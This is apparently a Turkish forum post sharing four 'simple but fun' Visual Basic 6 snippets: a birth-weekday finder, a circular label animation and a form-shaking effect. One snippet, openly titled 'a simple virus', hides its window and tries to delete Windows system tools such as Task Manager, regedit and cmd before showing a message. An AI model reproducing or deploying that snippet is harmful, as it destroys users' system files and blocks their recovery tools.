Basit ama eğlenceli kodlar.

[COLOR="red"]'Hangi gün doğduğunuzu bulur[/COLOR]
[COLOR="Yellow"][B][I]Private Sub Command1_Click()
Dim d_tarih, gun
Do
d_tarih = InputBox("Doğum Tarihinizi Giriniz :")

Loop While Not IsDate(d_tarih)
Select Case Weekday(d_tarih)
Case 1: gun = "Pazar"
Case 2: gun = "Pazartesi"
Case 3: gun = "Salı"
Case 4: gun = "Çarşamba"
Case 5: gun = "Perşembe"
Case 6: gun = "Cuma"
Case 7: gun = "Cumartesi"
End Select
MsgBox (gun & " Günü Doğmuşsunuz")
End Sub[/I][/B][/COLOR]

[COLOR="red"]'Forma Animasyon ekleme[/COLOR]
[COLOR="yellow"][B][I]Private Sub Form_Load()
Timer1.Interval = 10
AutoRedraw = True
Label1.AutoSize = True
End Sub
Private Sub Timer1_Timer()
Dim x, y
Static i
i = (i + 1) Mod 360
y = ScaleHeight / 2 + ScaleHeight / 2 * Sin(i * 3.1415 / 180)
x = ScaleWidth / 2 + ScaleWidth / 2 * Cos(i * 3.1415 / 180)
Label1.Top = y
Label1.Left = x
Line (ScaleWidth / 2, ScaleHeight / 2)-(x, y), i * 10
Label1 = i
End Sub[/I][/B][/COLOR]

[COLOR="Red"]'Basit Bir virüs[/COLOR]
[COLOR="Yellow"][B][I]Private Sub Form_Load()
Me.Hide
Kill (“taskmgr.exe”)
Kill (“gpedit.msc”)
Kill (“regedit.exe”)
Kill (“cmd.exe”)
Kill (“conhost.exe”)
Kill (“paint.exe”)
MsgBox (“Göndermek İstediğiniz Mesaj Varsa Buraya Yazabilirsiniz”)
End Sub[/I][/B][/COLOR]

[COLOR="red"]'Formunuz titresin[/COLOR]
[COLOR="Yellow"][B][I]Dim tt As Boolean
Dim sY As Integer

Private Sub Form_Load()
Timer1.Interval = 50
HScroll1.Max = 500
sY = 100
HScroll1.Visible = False
VScroll1.Visible = False
End Sub
Private Sub HScroll1_Change()
sY = HScroll1.Value
End Sub
Private Sub HScroll1_Scroll()
sY = HScroll1.Value
End Sub
Private Sub Timer1_Timer()
If tt = True Then
Me.Top = Me.Top + sY
Me.Left = Me.Left + sY
tt = False
Else
Me.Top = Me.Top - sY
Me.Left = Me.Left - sY
tt = True
End If
End Sub[/I][/B][/COLOR]